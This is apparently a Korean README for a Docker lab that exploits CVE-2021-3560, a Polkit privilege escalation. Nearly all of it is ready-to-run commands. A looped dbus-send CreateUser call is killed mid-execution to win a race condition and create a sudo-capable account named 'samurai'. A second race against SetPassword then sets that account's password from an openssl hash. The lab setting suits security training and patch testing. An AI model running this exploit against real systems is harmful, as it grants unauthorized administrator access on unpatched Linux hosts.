
CVE-2021-3560(Polkit 권한 상승)에 대한 Docker 기반 익스플로잇으로, dbus-send의 경쟁 조건을 통해 sudo 사용자를 생성하는 단계별 지침을 제공합니다.
Mark, Qingchen Yu 제작 다음으로 컨테이너를 빌드합니다
docker build -t <image tag of your choice> .
컨테이너를 실행하려면
docker run -it <image tag name>
start.sh로 시작합니다
실행 시간 측정: 'real' 시간을 확인하고 그 절반을 계산합니다.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
sudo 권한이 있는 사용자 생성: 프로세스를 중간에 중단시키기 위해 위의 'real' 시간의 절반으로 X.XXX를 대체합니다. 명령어는 10000번 반복 실행됩니다. 이 단계를 여러 번 실행해야 할 수도 있습니다.
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
사용자 생성 확인
id samurai
samurai 사용자가 존재하고 권한을 표시해야 합니다. 그렇지 않으면 2단계를 다시 실행하세요.
비밀번호 해시 생성: 이 경우 비밀번호는 'iamsamurai'입니다. 생성된 해시를 기록합니다.
openssl passwd -5 iamsamurai
새 사용자 비밀번호 설정: X.XXX를 sleep 시간으로, Password Hash를 4단계에서 얻은 해시로 대체합니다. UUUU를 'samurai'의 사용자 ID로 대체합니다.
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
4단계에서 만든 비밀번호로 새 사용자로 전환합니다.
su - samurai
이제 이 사용자로 'sudo'를 사용할 수 있습니다.